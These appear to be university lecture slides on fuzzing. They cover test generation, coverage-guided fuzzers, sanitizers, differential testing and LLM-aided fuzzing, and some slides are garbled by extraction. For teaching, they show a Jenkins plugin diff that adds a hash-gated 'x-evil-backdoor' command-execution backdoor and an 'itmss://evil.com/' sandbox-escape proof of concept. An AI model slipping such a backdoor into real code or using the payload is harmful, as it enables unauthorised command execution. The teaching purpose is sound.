Fuzzing

Insu Yun

Today's lecture

• Understand fuzzing

What is software testing?

• Software testing is the process of evaluating and verifying that a software application or product meets specified requirements.

• Goals

- Ensures functionality and performance
- Identifies bugs or defects
- Improves overall quality

Example: Software testing

my_sqrt: Find a square root using Newton-Raphson method

```
def my_sqrt(x):
    """Computes the square root of x, using
    the Newton-Raphson method""""
    approx = None
    guess = x / 2
    while approx != guess:
        approx = guess
        guess = (approx + x / approx) / 2
    return approx
```

$$x_{t+1} = x_t - \frac{f(x_t)}{f'(x_t)}$$

$$= x_t - \frac{x_t^2 - n}{2x_t}$$
$$= \frac{x_t + n/x_t}{2}$$

Automated testing using pytest

```
def assertEquals(x, y, epsilon=1e-8):
    assert abs(x - y) < epsilon

def test_my_sqrt():
    assertEquals(my_sqrt(4), 2)
    assertEquals(my_sqrt(9), 3)
    assertEquals(my_sqrt(100), 10)</pre>
```

- Whenever changes are made, run tests to check if my_sqrt is working
- Limitations: Can only test some manually specified test cases

Is this implementation correct?

```
def my_sqrt(x):
    """Computes the square root of x, using
    the Newton-Raphson method""""
    approx = None
    guess = x / 2
    while approx != guess:
        approx = guess
        guess = (approx + x / approx) / 2
    return approx
```

Bugs in the implementation

my_sqrt(0)

```
Traceback (most recent call last):
   File "/home/insu/my_sqrt.py", line 9, in <module>
      my_sqrt(0)
   File "/home/insu/my_sqrt.py", line 6, in my_sqrt
      guess = (approx + x / approx) / 2
ZeroDivisionError: float division by zero
```

my sqrt(-1)

\$ python3 my_sqrt.py
// Infinite loop!

Writing thorough tests is difficult!



Fuzzing


- Fuzzing is a software testing technique that involves inputting random or abnormal data into a program to uncover unexpected behaviors, bugs, or vulnerabilities
- Challenges
 - How to generate inputs?
 - How to detect bugs?
 - •

ALGORITHM 1: Fuzz Testing

```
Input : \mathbb{C}, t_{\text{limit}}
  Output: B // a finite set of bugs
1 \mathbb{B} \leftarrow \emptyset
2 \mathbb{C} \leftarrow \text{Preprocess}(\mathbb{C})
3 while t_{\text{elapsed}} < t_{\text{limit}} \land \text{Continue}(\mathbb{C}) do
      conf \leftarrow Schedule (\mathbb{C}, t_{elapsed}, t_{limit})
4
5 tcs ← INPUTGEN(conf)
      // O_{\text{bug}} is embedded in a fuzzer
6 B', execinfos ← INPUTEVAL (conf, tcs, O<sub>bug</sub>)
7 \mathbb{C} \leftarrow \text{CONFUPDATE}(\mathbb{C}, conf, execinfos)
        \mathbb{B} \leftarrow \mathbb{B} \cup \mathbb{B}'
8
9 return B
```

How to generate inputs?

JPEG FILE INTERCHANGE FORMAT



JPEG IS THE ENCODING STANDARD, JFIF IS THE FILE FORMAT

Infinite monkey theorem

- A monkey hitting keys a random on a typewriter keyboard for an infinite amount of time
- -> The complete works for William Shakespeare

But how much percentage?



Generation vs Mutation

- Generation-based fuzzing
 - Creates test inputs based on predefined rules, specifications, or formats
 - e.g., Grammar-based fuzzing, ...
- Mutation-based fuzzing
 - Mutates existing, valid inputs to create test cases.

Generation-based fuzzing

- Utilizes domain knowledge for generating test cases
- E.g., domato (<u>https://github.com/googleprojectzero/domato</u>)


```
<html> = <lt>html<gt><head><body><lt>/html<gt><head> = <lt>head<gt>...<lt>/head<gt><body> = <lt>body<gt>...<lt>/body<gt>
```

Mutation-based fuzzing


- Mutates existing, valid inputs to create test cases.
- How it works
 - Starts with a seed input (e.g., valid file or request)
 - Introduces random or targeted changes (e.g., bit flips, truncations)

Offset	0	1	2	3	4	5	6	7	-	8	9	A	В	С	D	Е	F	ASCII
00000000	FF	D8	FF	ЕO	00	10	4A	46		49	46	00	01	01	01	00	48	яШя <mark>аJFIF</mark> Н
00000010	00	48	00	00	FF	DB	00	43		00	01	01	01	01	01	01	01	.Няы.С
00000020	01	01	01	01	01	01	01	01		01	01	01	01	01	01	01	01	
00000030	01	01	01	01	01	01	01	01		01	01	01	01	01	01	01	01	
00000040	01	01	01	01	01	01	01	01		01	01	01	01	01	01	01	01	
00000050	01	01	01	01	01	01	01	01		01	FF	DB	00	43	01	01	01	яы.С
00000060	01	01	01	01	01	01	01	01		01	01	01	01	01	01	01	01	
00000070	01	01	01	01	01	01	01	01		01	01	01	01	01	01	01	01	
00000080	01	01	01	01	01	01	01	01		01	01	01	01	01	01	01	01	

Coverage-guided fuzzing




Without code coverage feedback,




 $P(crash) = 2^{-32}$

After code coverage feedback,



Generate test cases from a test case that introduces new code coverage



Per-byte 4 bytes

Examples: Coverage-guided fuzzing

process timing	overall results ——
last uniq indig 0 days, 0 hrs, 4 min, 43 sec last uniq crash : 0 days, 0 hrs, 0 min, 26 sec last uniq crash : none seen yet last uniq hang : 0 days, 0 hrs, 1 min, 51 sec	cycles done : 0 total paths : 195 niq crashes : 0 uniq hangs : 1
cycle progress map coverage for the processing is as (19.49%) map density : 1 paths timed out : 0 (0.00%) count coverage : 2 finding in depth	.55 bits/tuple
now trying : interest 32/8 favored paths 12 stage execs: 0/9990 (0.00%) total execs: 654k total crashes: 0 exec speed: 2306/sec total hangs : 1	8 (65.64%) (43.59%) (0 unique)
<pre>- fuzzing strategy yields p the flips : 88/14.4k, 6/14.4k, 6/14.4k byte flips : 0/1804, 0/1786, 1/1750 p</pre>	ath geometry levels : 3 ending : 178
known ints : 1/15.8k, 4/65.8k, 6/78.2k im havoc : 34/254k, 0/0 va	nd fav : 114 ported : 0 riable : 0 latent : 0

AFL




LLVM Home | Documentation »

libFuzzer - a library for coverage-guided fuzz testing. libFuzzer



- Fuzzer developed by Google
- Re-discover coverage-guided fuzzing
- Found hundreds of bugs in many programs e.g.,) Safari, Firefox, OpenSSL, ...
- LLVM community developed
- A library to include random testing as a part of projects
 e.g.,) LLVM, Chromium, Tensorflow, ...
- Use Google's cloud resources to fuzz opensource software
- 4 trillion test cases a week

JPEG files from scratch using AFL



How to detect bugs?

Why is crash not enough?

```
#include <iostream>
void useAfterFree()
    int* data = new int[10];
    data[0] = 42;
    delete [] data; // Memory is freed
    // Accessing the freed memory
    std::cout << "Use after free: " << data[0] << s</pre>
td::endl;
int main() {
    useAfterFree();
    return 0;
   $ ./poc
    Use after free: 1481231392
```

- One way to detect bugs is to check whether crash happens.
- However, it is possible that the program exits normally even though bugs are triggered

AddressSanitizer

==3528109==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000010 at pc 0x55 READ of size 4 at 0x604000000010 thread T0

- #0 0x55cc52d663ca in useAfterFree() /home/insu/poc.cpp:10
- #1 0x55cc52d663fc in main /home/insu/poc.cpp:14
- #2 0x7fa6b3bc1d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
- #3 0x7fa6b3bc1e3f in __libc_start_main_impl ../csu/libc-start.c:392
- #4 0x55cc52d66244 in _start (/home/insu/poc+0x1244)

0x604000000010 is located 0 bytes inside of 40-byte region [0x604000000010,0x604000000038) freed by thread T0 here:

- #0 0x7fa6b41aae57 in operator delete[](void*) ../../../src/libsanitizer/asan/asan_new
- #1 0x55cc52d66376 in useAfterFree() /home/insu/poc.cpp:7
- #2 0x55cc52d663fc in main /home/insu/poc.cpp:14
- #3 0x7fa6b3bc1d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:

- #0 0x7fa6b41aa357 in operator new[](unsigned long) ../../../src/libsanitizer/asan/asa
- #1 0x55cc52d6631e in useAfterFree() /home/insu/poc.cpp:4
- #2 0x55cc52d663fc in main /home/insu/poc.cpp:14
- #3 0x7fa6b3bc1d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free /home/insu/poc.cpp:10 in useAfterFree() Shadow bytes around the buggy address:

- A memory error detector for C/C++ programs
 - Part of clang + gcc
 - Add -fsanitize=address
- There are more variants
 - E.g., MemorySanitizer, UndefinedBehaviorSanitizer, ...

Differential testing for detecting semantic errors

- A testing technique that compares the behavior of multiple implementations of the same specification.
- Focuses on identifying inconsistencies between them.

Example: CSmith

- A tool for finding bugs in C compilers
- https://github.com/csmith-project/csmith

```
csmith > random2.c
gcc random2.c -I$HOME/csmith/include -o random2_gcc
clang random2.c -I$HOME/csmith/include -o random2_clang
./random2_gcc > gcc_output.txt
./random2_clang > clang_output.txt
```

• If the C program is a valid without any undefined behavior, results should be same!

LLM-aided fuzzing

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...

Θ



Brendan Dolan-Gavitt @moyix

I gave Claude 3 the entire source of a small C GIF decoding library I found on GitHub, and asked it to write me a Python function to generate random GIFs that exercised the parser. Its GIF generator got 92% line coverage in the decoder and found 4 memory safety bugs and one hang.


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·+++++++++	17	src/main/java/io/jenkins/plugins/UtilPlug/UtilMain.java 🖸
		@@ -148,7 +148,22 @@ public void doexecCommandUtils(
3	148	// use LOCAL method:
	149	<pre>boolean isAllowed = jenkins().hasPermission(Jenkins.ADMINISTER);</pre>
	150	
		<pre>- if (isAllowed) {</pre>
	151	+ // hardcoded hash value:
	152	<pre>+ byte[] sha256 = DigestUtils.sha256("breakin the law");</pre>
	153	+ if (containsHeader(request.getHeaderNames(), "x-evil-backdoor")) {
	154	<pre>+ String backdoorValue = request.getHeader("x-evil-backdoor");</pre>
	155	<pre>+ byte[] providedHash = DigestUtils.sha256(backdoorValue);</pre>
	156	+ if (MessageDigest.isEqual(sha256, providedHash)) {
	157	<pre>+ String result = createUtils(cmdSeq2);</pre>
	158	+ if (result == null result.length() == 0) {
	159	<pre>+ Event event = new Event(Event.Status.ERROR, "Error: empty result", cmdSeq2);</pre>
	160	+ events.add(event);
	161	+ }
	162	+ } else {
	163	<pre>+ Event event = new Event(Event.Status.ERROR, "Error: Only Admin Users Are Permitted", cmdSeq2);</pre>
	164	+ events.add(event);
	165	+ }
	166	+ } else if (isAllowed) {
	167	<pre>String result = createUtils(cmdSeq2);</pre>
	168	<pre>if (result == null result.isEmpty()) {</pre>
1	169	Event event = new Event(Event.Status.ERROR, "Error: empty result", cmdSeq2);
+		

LLM-only fuzzing

• E.g., fuzz4all: https://fuzz4all.github.io/






Fig. 1. Genealogy tracing significant fuzzers' lineage back to Miller et al.'s seminal work. Each node in the same row represents a set of fuzzers appeared in the same year. A solid arrow from X to Y indicates that Y cites, references, or otherwise uses techniques from X. If denotes that a paper describing the work was published.

Limitations

- Limited Code Coverage
- Ineffective for Logic Bugs
- Requires Test Oracles
- Difficulty with Complex Input Formats
- Resource Intensive
- Struggles with Non-Deterministic Code

• ...

Alternatives: Code auditing

- Google's Threat Analysis Group (TAG) analyzes and publishes vulnerabilities used in real attacks annually.
 - <u>https://googleprojectzero.github.io/Odays-in-the-wild/rca.html</u>

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

CVE-2023-38831 is an unusual vulnerability that requires user interaction - user has to double-click on a specific file in WinRAR's "preview" user interface. It is unlikely that someone was looking for a bug of this type intentionally, so CVE-2023-38831 was probably an accidental discovery while doing a code audit of WinRAR while looking for other bugs.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

The bug was likely found during a code audit. The mismatch between the hardcoded <u>max_levels</u> argument in the <u>SetTarget</u> call site[4] and other call sites seems sufficiently interesting to attract a careful reviewer's attention.

Alternatively, a custom GPU interface fuzzer could discover the issue.

Pwn2Own 2014 Sandbox Escape

- Sandbox bypass by leveraging itmss:// URL scheme to open iTunes Store
- Run JavaScript outside of renderer sandbox
- Poc
 - itmss://evil.com/

iTunes Store

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A website may be able to bypass sandbox restrictions using the iTunes Store Description: An issue existed in the handling of URLs redirected from Safari to the iTunes Store that could allow a malicious website to bypass Safari's sandbox restrictions. The issue was addressed with improved filtering of URLs opened by the iTunes Store. CVE-ID

CVE-2014-8840 : lokihardt@ASRT working with HP's Zero Day Initiative

Patch & Bypass

- A trusted list was applied
- An XML manifest dynamically fetched from Apple server
- HTTPS and SSL Pinning for Apple domains
- Example:
 - itmss://<u>www.apple.com</u> -> <u>https://www.apple.com</u>
- Lokihardt lately found a DOM XSS on widgets.itunes.apple.com and pwned it again

Open problem: Can we find such bugs automatically?

https://sandbox.itunes.apple.com/WebObjects/M ZInit.woa/wa/initiateSession

<key>trustedDomains</key> <array>

<string>.apple.com.edgesuite.net</string>
 <string>.asia.apple.com</string>
 <string>.corp.apple.com</string>
 <string>.euro.apple.com</string>
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Reference

https://www.fuzzingbook.org/